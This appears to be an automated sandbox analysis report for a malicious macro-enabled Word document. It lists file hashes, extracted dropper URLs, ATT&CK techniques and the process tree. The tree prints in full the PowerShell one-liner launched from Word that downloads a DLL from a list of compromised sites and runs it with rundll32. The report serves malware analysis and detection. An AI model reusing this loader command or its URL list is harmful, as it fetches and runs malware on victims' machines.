06012c700c1dac4c122303e920fdf1c71c41e681673c241c9698e5766df275a8

General

Target

isrywozd.docm
Size

140KB
MD5

391dca4cf91ae12aa1b5ac9d0ac3ec41
SHA1

47cfcf587d838f68a8f8df53ea3afae475436992
SHA256

06012c700c1dac4c122303e920fdf1c71c41e681673c241c9698e5766df275a8
SHA512

de299156048c8cb81fe9a5e839442347d118b9de47b353500647a73d4b97f010dcef6d6eb3c7ee9b04874010efd0b9f3b8790f8f9013a47271528eaed1be0c41

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://evgeniys.ru/sap-logs/D6/

exe.dropper

http://crownadvertising.ca/wp-includes/OxiAACCoic/

exe.dropper

https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/

exe.dropper

http://immoinvest.com.br/blog_old/wp-admin/luoT/

exe.dropper

https://yoho.love/wp-content/e4laFBDXIvYT6O/

exe.dropper

https://www.168801.xyz/wp-content/6J3CV4meLxvZP/

exe.dropper

https://www.pasionportufuturo.pe/wp-content/XUBS/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4316	3356	cmd.exe	47

Blocklisted process makes network request 29 IoCs

Processes:

powershell.exe

flow	pid	Process
18	628	powershell.exe
24	628	powershell.exe
28	628	powershell.exe
30	628	powershell.exe
32	628	powershell.exe
33	628	powershell.exe
40	628	powershell.exe
41	628	powershell.exe
43	628	powershell.exe
44	628	powershell.exe
45	628	powershell.exe
47	628	powershell.exe
49	628	powershell.exe
51	628	powershell.exe
52	628	powershell.exe
53	628	powershell.exe
54	628	powershell.exe
56	628	powershell.exe
60	628	powershell.exe
62	628	powershell.exe
63	628	powershell.exe
64	628	powershell.exe
68	628	powershell.exe
69	628	powershell.exe
70	628	powershell.exe
75	628	powershell.exe
86	628	powershell.exe
98	628	powershell.exe
100	628	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid	Process
3356	WINWORD.EXE
3356	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid	Process
628	powershell.exe
628	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	628	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid	Process
3356	WINWORD.EXE
3356	WINWORD.EXE
3356	WINWORD.EXE
3356	WINWORD.EXE
3356	WINWORD.EXE
3356	WINWORD.EXE
3356	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	Process	procid_target
PID 3356 wrote to memory of 4316	3356	WINWORD.EXE	81
PID 3356 wrote to memory of 4316	3356	WINWORD.EXE	81
PID 4316 wrote to memory of 628	4316	cmd.exe	83
PID 4316 wrote to memory of 628	4316	cmd.exe	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\isrywozd.docm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4316
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:628

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/628-142-0x00000273B0BB0000-0x00000273B1356000-memory.dmp

Filesize
7.6MB

Download
memory/628-140-0x0000027397813000-0x0000027397815000-memory.dmp

Filesize
8KB

Download
memory/628-138-0x00007FFB84620000-0x00007FFB850E1000-memory.dmp

Filesize
10.8MB

Download
memory/628-141-0x0000027397816000-0x0000027397818000-memory.dmp

Filesize
8KB

Download
memory/628-139-0x0000027397810000-0x0000027397812000-memory.dmp

Filesize
8KB

Download
memory/628-137-0x00000273978C0000-0x00000273978E2000-memory.dmp

Filesize
136KB

Download
memory/628-136-0x0000000000000000-mapping.dmp

Download
memory/3356-143-0x00007FFB6F570000-0x00007FFB6F580000-memory.dmp

Filesize
64KB

Download
memory/3356-132-0x00007FFB6F570000-0x00007FFB6F580000-memory.dmp

Filesize
64KB

Download
memory/3356-134-0x00007FFB6F570000-0x00007FFB6F580000-memory.dmp

Filesize
64KB

Download
memory/3356-133-0x00007FFB6F570000-0x00007FFB6F580000-memory.dmp

Filesize
64KB

Download
memory/3356-130-0x00007FFB6F570000-0x00007FFB6F580000-memory.dmp

Filesize
64KB

Download
memory/3356-131-0x00007FFB6F570000-0x00007FFB6F580000-memory.dmp

Filesize
64KB

Download
memory/3356-144-0x00007FFB6F570000-0x00007FFB6F580000-memory.dmp

Filesize
64KB

Download
memory/3356-145-0x00007FFB6F570000-0x00007FFB6F580000-memory.dmp

Filesize
64KB

Download
memory/3356-146-0x00007FFB6F570000-0x00007FFB6F580000-memory.dmp

Filesize
64KB

Download
memory/4316-135-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads